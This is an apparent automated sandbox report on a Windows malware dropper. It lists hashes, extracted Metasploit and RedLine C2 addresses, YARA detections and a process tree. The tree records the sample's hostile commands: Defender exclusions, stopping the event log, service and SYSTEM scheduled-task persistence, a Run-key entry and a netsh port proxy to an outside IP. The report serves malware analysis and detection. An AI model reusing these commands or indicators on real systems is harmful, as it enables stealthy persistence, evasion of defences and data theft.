metasploit | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

Resubmissions

29-01-2024 12:19

240129-phancababl 10

12-01-2024 23:12

240112-268aqsfgap 10

Analysis

max time kernel
2s
max time network
412s
platform
windows10-1703_x64
resource
win10-20231220-en
resource tags

arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
submitted
29-01-2024 12:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe
Size

10KB
MD5

2a94f3960c58c6e70826495f76d00b85
SHA1

e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA256

2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
SHA512

fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP

192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Score

10^/10

metasploit neshta redline zgrat livetraffic backdoor evasion infostealer persistence rat spyware trojan

Malware Config

Extracted

Family

metasploit

Version

windows/reverse_tcp

193.117.208.148:7800

192.168.1.123:4444

Extracted

Family

redline

Botnet

LiveTraffic

20.79.30.95:33223

Signatures

Detect Neshta payload 56 IoCs

resource	yara_rule
behavioral2/files/0x000900000001ab3b-55.dat	family_neshta
behavioral2/files/0x0006000000015fc2-75.dat	family_neshta
behavioral2/files/0x000700000001ab49-87.dat	family_neshta
behavioral2/files/0x000700000001ab49-90.dat	family_neshta
behavioral2/files/0x000700000001ab52-92.dat	family_neshta
behavioral2/files/0x000700000001ab49-97.dat	family_neshta
behavioral2/files/0x0006000000015fc2-100.dat	family_neshta
behavioral2/memory/3068-152-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/files/0x000700000001ab49-159.dat	family_neshta
behavioral2/files/0x0001000000018caf-173.dat	family_neshta
behavioral2/memory/4784-208-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/2524-209-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/2224-240-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/4632-241-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/952-254-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/4064-245-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/2876-244-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/1772-261-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3040-262-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3292-269-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/4748-270-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/files/0x000100000001a737-188.dat	family_neshta
behavioral2/files/0x000100000001a6f5-187.dat	family_neshta
behavioral2/files/0x000100000001a6f8-186.dat	family_neshta
behavioral2/files/0x000100000001a736-185.dat	family_neshta
behavioral2/files/0x000100000001a6f3-184.dat	family_neshta
behavioral2/files/0x0001000000018cae-169.dat	family_neshta
behavioral2/files/0x0001000000018cad-168.dat	family_neshta
behavioral2/files/0x0001000000018d04-164.dat	family_neshta
behavioral2/files/0x0001000000018d03-163.dat	family_neshta
behavioral2/files/0x000500000001689b-158.dat	family_neshta
behavioral2/files/0x000b00000001679b-157.dat	family_neshta
behavioral2/files/0x0009000000016798-156.dat	family_neshta
behavioral2/memory/3940-151-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/4560-300-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/4920-301-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/files/0x000900000001678d-130.dat	family_neshta
behavioral2/files/0x0007000000016896-129.dat	family_neshta
behavioral2/files/0x000300000001680a-128.dat	family_neshta
behavioral2/files/0x00070000000168e0-127.dat	family_neshta
behavioral2/files/0x0003000000016824-126.dat	family_neshta
behavioral2/files/0x00070000000168c8-125.dat	family_neshta
behavioral2/files/0x000300000001680f-124.dat	family_neshta
behavioral2/files/0x0003000000016782-123.dat	family_neshta
behavioral2/files/0x00070000000168c7-122.dat	family_neshta
behavioral2/files/0x000900000001676c-121.dat	family_neshta
behavioral2/files/0x0009000000016779-120.dat	family_neshta
behavioral2/files/0x0009000000016770-119.dat	family_neshta
behavioral2/files/0x000a0000000167f5-118.dat	family_neshta
behavioral2/files/0x00070000000168d6-117.dat	family_neshta
behavioral2/memory/3144-316-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/1968-320-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/2436-319-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/912-358-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/4424-354-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3704-366-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta

Detect ZGRat V1 23 IoCs

resource	yara_rule
behavioral2/files/0x000a00000001ab45-136.dat	family_zgrat_v1
behavioral2/memory/3000-140-0x0000000000F60000-0x000000000144C000-memory.dmp	family_zgrat_v1
behavioral2/files/0x000a00000001ab45-139.dat	family_zgrat_v1
behavioral2/memory/3468-323-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-324-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-322-0x0000000005810000-0x0000000005A18000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-326-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-328-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-330-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-332-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-334-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-336-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-345-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-357-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/4772-365-0x0000000004B60000-0x0000000004C8A000-memory.dmp	family_zgrat_v1
behavioral2/memory/4772-368-0x0000000004B60000-0x0000000004C84000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-375-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/4772-377-0x0000000004B60000-0x0000000004C84000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-383-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-369-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/4772-370-0x0000000004B60000-0x0000000004C84000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-363-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1
behavioral2/memory/3468-352-0x0000000005810000-0x0000000005A13000-memory.dmp	family_zgrat_v1

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

resource	yara_rule
behavioral2/memory/1920-59-0x0000000000400000-0x0000000000454000-memory.dmp	family_redline
behavioral2/files/0x000600000001abd7-3494.dat	family_redline
behavioral2/files/0x000600000001abdb-3534.dat	family_redline

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Launches sc.exe 16 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5448	sc.exe
1472	sc.exe
6648	sc.exe
6640	sc.exe
6064	sc.exe
6244	sc.exe
4388	sc.exe
2764	sc.exe
7032	sc.exe
5688	sc.exe
5376	sc.exe
3036	sc.exe
6472	sc.exe
1264	sc.exe
5716	sc.exe
1772	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 15 IoCs

pid	pid_target	Process	procid_target
4728	1456	WerFault.exe	76
4180	1456	WerFault.exe	76
3500	1456	WerFault.exe	76
2188	1456	WerFault.exe	76
4656	1456	WerFault.exe	76
3612	1456	WerFault.exe	76
656	1456	WerFault.exe	76
1092	4728	WerFault.exe	134
4672	4728	WerFault.exe	134
5420	5444	WerFault.exe	336
5576	5444	WerFault.exe	336
6404	5956	WerFault.exe	387
6784	6824	WerFault.exe	379
5548	6216	WerFault.exe	370
6924	6216	WerFault.exe	370

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5560	schtasks.exe

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4632	NETSTAT.EXE
4516	NETSTAT.EXE
3592	NETSTAT.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	216	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 216 wrote to memory of 4320	216	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	75
PID 216 wrote to memory of 4320	216	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	75
PID 216 wrote to memory of 4320	216	2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe	75

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5912	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe
"C:\Users\Admin\AppData\Local\Temp\2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:216
- C:\Users\Admin\AppData\Local\Temp\Files\soft.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"
  2⤵
  PID:4320
- - C:\Users\Admin\AppData\Local\Temp\Files\soft.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"
    3⤵
    PID:3856
- C:\Users\Admin\AppData\Local\Temp\Files\univ.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\univ.exe"
  2⤵
  PID:1456
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 764
    3⤵
    - Program crash
    PID:4728
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 816
    3⤵
    - Program crash
    PID:4180
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 840
    3⤵
    - Program crash
    PID:3500
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 880
    3⤵
    - Program crash
    PID:2188
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 952
    3⤵
    - Program crash
    PID:4656
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 1096
    3⤵
    - Program crash
    PID:3612
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 1172
    3⤵
    - Program crash
    PID:656
- C:\Users\Admin\AppData\Local\Temp\Files\Screensaver.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Screensaver.exe"
  2⤵
  PID:2156
- C:\Users\Admin\AppData\Local\Temp\Files\rwtweewge.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\rwtweewge.exe"
  2⤵
  PID:1100
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1920
  - - C:\Users\Admin\AppData\Local\Temp\100016~4\FILE30~1.EXE
      C:\Users\Admin\AppData\Local\Temp\100016~4\FILE30~1.EXE
      4⤵
      PID:5956
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5956 -s 996
        5⤵
        Program crash
        
        PID:6404
- C:\Users\Admin\AppData\Local\Temp\Files\stub.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\stub.exe"
  2⤵
  PID:2216
- - C:\Windows\svchost.exe
    "C:\Windows\svchost.exe" "C:\Users\Admin\AppData\Local\Temp\Files\stub.exe"
    3⤵
    PID:1004
  - - C:\Users\Admin\AppData\Local\Temp\Files\stub.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\stub.exe"
      4⤵
      PID:3144
- - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    3⤵
    PID:1472
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
      4⤵
      PID:2876
    - - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        5⤵
        
        PID:1104
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        6⤵
        
        PID:3916
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        7⤵
        
        PID:2920
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        8⤵
        
        PID:1772
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        9⤵
        
        PID:4444
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        10⤵
        
        PID:4552
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
  2⤵
  PID:912
- - C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
    C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
    3⤵
    PID:3000
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      4⤵
      PID:1588
    - - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\update.exe"
        5⤵
        
        PID:4196
      - C:\Users\Admin\AppData\Roaming\update.exe
        
        C:\Users\Admin\AppData\Roaming\update.exe
        6⤵
        
        PID:1104
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "CGMNDIHH"
        7⤵
        Launches sc.exe
        
        PID:1472
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "CGMNDIHH" binpath= "C:\ProgramData\rdytutcdlfrg\uxtldsktkgfv.exe" start= "auto"
        7⤵
        Launches sc.exe
        
        PID:1772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\update.exe"
        7⤵
        
        PID:3916
        
        C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        8⤵
        
        PID:3672
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "CGMNDIHH"
        7⤵
        Launches sc.exe
        
        PID:3036
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        7⤵
        Launches sc.exe
        
        PID:2764
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Musical_rhythms_for_certain_actions';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Musical_rhythms_for_certain_actions' -Value '"C:\Users\Admin\AppData\Local\Musical_rhythms_for_certain_actions\Musical_rhythms_for_certain_actions.exe"' -PropertyType 'String'
      4⤵
      PID:4200
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\ama.exe"
  2⤵
  PID:4488
- - C:\Users\Admin\AppData\Local\Temp\Files\ama.exe
    C:\Users\Admin\AppData\Local\Temp\Files\ama.exe
    3⤵
    PID:4128
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\SysWOW64\cmd.exe
      4⤵
      PID:1268
    - - C:\Users\Admin\AppData\Local\Temp\Files\ama.exe
        
        C:\Users\Admin\AppData\Local\Temp\Files\ama.exe
        5⤵
        
        PID:6056
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\BC_MEM~1.EXE"
  2⤵
  PID:952
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\office.exe"
  2⤵
  PID:3704
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"
  2⤵
  PID:4124
- - C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe
    C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe
    3⤵
    PID:1036
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\BBLb.exe"
      4⤵
      PID:2776
  - - C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe
      C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe
      4⤵
      PID:4728
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4728 -s 516
        5⤵
        Program crash
        
        PID:1092
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4728 -s 484
        5⤵
        Program crash
        
        PID:4672
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"
  2⤵
  PID:1532
- - C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
    C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
    3⤵
    PID:3468
  - - C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
      C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
      4⤵
      PID:5444
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 532
        5⤵
        Program crash
        
        PID:5420
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 524
        5⤵
        Program crash
        
        PID:5576
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\$77_LO~1.EXE"
  2⤵
  PID:2876
- - C:\Users\Admin\AppData\Local\Temp\Files\$77_LO~1.EXE
    C:\Users\Admin\AppData\Local\Temp\Files\$77_LO~1.EXE
    3⤵
    PID:3600
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u-yd2gjh.cmdline"
      4⤵
      PID:4416
    - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD959.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD958.tmp"
        5⤵
        
        PID:528
  - - C:\Windows\system32\chcp.com
      "C:\Windows\system32\chcp.com" 437
      4⤵
      PID:4784
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" interface portproxy show all
      4⤵
      PID:984
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" interface portproxy reset
      4⤵
      PID:4784
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" interface portproxy show all
      4⤵
      PID:3964
  - - C:\Windows\system32\NETSTAT.EXE
      "C:\Windows\system32\NETSTAT.EXE" -na
      4⤵
      Gathers network information
      PID:4632
  - - C:\Windows\system32\NETSTAT.EXE
      "C:\Windows\system32\NETSTAT.EXE" -na
      4⤵
      Gathers network information
      PID:4516
  - - C:\Windows\system32\NETSTAT.EXE
      "C:\Windows\system32\NETSTAT.EXE" -na
      4⤵
      Gathers network information
      PID:3592
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" interface portproxy add v4tov4 listenport=757 connectport=443 connectaddress=5.133.65.53
      4⤵
      PID:2024
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" interface portproxy show all
      4⤵
      PID:2168
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" interface portproxy show all
      4⤵
      PID:2216
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /query /v /fo csv
      4⤵
      PID:5140
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\NICEEY~1.EXE"
  2⤵
  PID:1836
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\382498~1.EXE"
  2⤵
  PID:2972
- - C:\Users\Admin\AppData\Local\Temp\Files\382498~1.EXE
    C:\Users\Admin\AppData\Local\Temp\Files\382498~1.EXE
    3⤵
    PID:4488
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WINDOW~1\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
      4⤵
      PID:2276
    - - C:\Windows\SysWOW64\WINDOW~1\v1.0\powershell.exe
        
        C:\Windows\System32\WINDOW~1\v1.0\powershell.exe Add-MpPreference -ExclusionPath c:\windows\
        5⤵
        
        PID:2024
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WINDOW~1\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
      4⤵
      PID:4816
    - - C:\Windows\SysWOW64\WINDOW~1\v1.0\powershell.exe
        
        C:\Windows\System32\WINDOW~1\v1.0\powershell.exe Add-MpPreference -ExclusionPath \\?\C:\Windows \
        5⤵
        
        PID:1892
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
      4⤵
      Creates scheduled task(s)
      PID:5560
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System\svchost.exe" formal
      4⤵
      PID:5596
    - - C:\Windows\System\svchost.exe
        
        C:\Windows\System\svchost.exe formal
        5⤵
        
        PID:5672
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\WINDOW~1\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        6⤵
        
        PID:5748
        
        C:\Windows\SysWOW64\WINDOW~1\v1.0\powershell.exe
        
        C:\Windows\System32\WINDOW~1\v1.0\powershell.exe Add-MpPreference -ExclusionPath c:\windows\
        7⤵
        
        PID:6080
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\WINDOW~1\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        6⤵
        
        PID:5284
        
        C:\Windows\SysWOW64\WINDOW~1\v1.0\powershell.exe
        
        C:\Windows\System32\WINDOW~1\v1.0\powershell.exe Add-MpPreference -ExclusionPath \\?\C:\Windows \
        7⤵
        
        PID:5136
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\rty29.exe"
  2⤵
  PID:4180
- - C:\Users\Admin\AppData\Local\Temp\Files\rty29.exe
    C:\Users\Admin\AppData\Local\Temp\Files\rty29.exe
    3⤵
    PID:1700
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\amert.exe"
  2⤵
  PID:4980
- - C:\Users\Admin\AppData\Local\Temp\Files\amert.exe
    C:\Users\Admin\AppData\Local\Temp\Files\amert.exe
    3⤵
    PID:4920
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\SETUP2~1.EXE"
  2⤵
  PID:1832
- - C:\Users\Admin\AppData\Local\Temp\Files\SETUP2~1.EXE
    C:\Users\Admin\AppData\Local\Temp\Files\SETUP2~1.EXE
    3⤵
    PID:148
  - - C:\Users\Admin\AppData\Local\Temp\AITMP0\CleanUp Icons FOP.exe
      "C:\Users\Admin\AppData\Local\Temp\AITMP0\CleanUp Icons FOP.exe" /s %3
      4⤵
      PID:5448
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c mode con:cols=0080 lines=0025
        5⤵
        
        PID:5696
      - C:\Windows\SysWOW64\mode.com
        
        mode con:cols=0080 lines=0025
        6⤵
        
        PID:5780
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c title Window Title
        5⤵
        
        PID:5960
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\afolder" mkdir "C:\Users\Admin\AppData\Local\Temp\afolder"
        5⤵
        
        PID:1352
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\xtmp" mkdir "C:\Users\Admin\AppData\Local\Temp\xtmp"
        5⤵
        
        PID:5508
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c attrib +h C:\Users\Admin\AppData\Local\Temp\xtmp
        5⤵
        
        PID:5572
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +h C:\Users\Admin\AppData\Local\Temp\xtmp
        6⤵
        Views/modifies file attributes
        
        PID:5912
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c echo:0>C:\Users\Admin\AppData\Local\Temp\is64.txt
        5⤵
        
        PID:6016
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\is64.bat
        5⤵
        
        PID:6056
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp24045.bat" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp24045.bat"
        5⤵
        
        PID:5152
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp22095.exe" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp22095.exe"
        5⤵
        
        PID:5488
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Windows\Sysnative\cmd.exe /C C:\Users\Admin\AppData\Local\Temp\xtmp\tmp24045.bat "C:\Users\Admin\AppData\Local\Temp\AITMP0\CleanUp Icons FOP.exe" /s %3
        5⤵
        
        PID:5584
      - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C C:\Users\Admin\AppData\Local\Temp\xtmp\tmp24045.bat "C:\Users\Admin\AppData\Local\Temp\AITMP0\CleanUp Icons FOP.exe" /s %3
        6⤵
        
        PID:5340
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp24045.bat" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp24045.bat"
        5⤵
        
        PID:5356
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp22095.exe" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp22095.exe"
        5⤵
        
        PID:5844
